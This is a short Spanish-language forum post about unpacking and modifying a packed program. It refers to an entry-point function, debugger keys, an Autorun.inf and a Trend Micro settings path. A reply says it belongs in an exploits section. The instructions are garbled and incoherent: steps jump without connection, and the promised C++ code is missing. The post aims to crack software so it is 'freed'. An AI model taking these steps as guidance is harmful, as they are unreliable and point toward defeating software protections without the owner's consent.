ESTA SENTECIA SE JECUTA DESDE EL PUNTO DE ACCESO Function sub_10CD4
COMO VEIS ESTE PUNTO ESTA EMPAQUETADO CON ENCRIPTACION DE PAQUETE AMERICANO
SE HAN ROTO LA CABEZA
volved a repetir F9 shift F9
OK HASTA AQUI VALE
SI ARRANCAIS EL PROGRAMA SE DESEMPAQUETARA SIN PROBLEMAS
PERO VAMOS HA HACER QUE SEA COMPLETAMENTE NUESTRO ES DECIR PODAMOS MODIFICARLO ESCRIBIR
DEBEIS IR Autorun.inf [Trend_Micro/Common/Setting/EN-US] DEBEIS INTRODUCIR ESTE CODIGO EN C++

bueno y vuestro programa quedara libredo
Me parece que has posteado en la sección incorrecta. Creo que esto va a exploits...
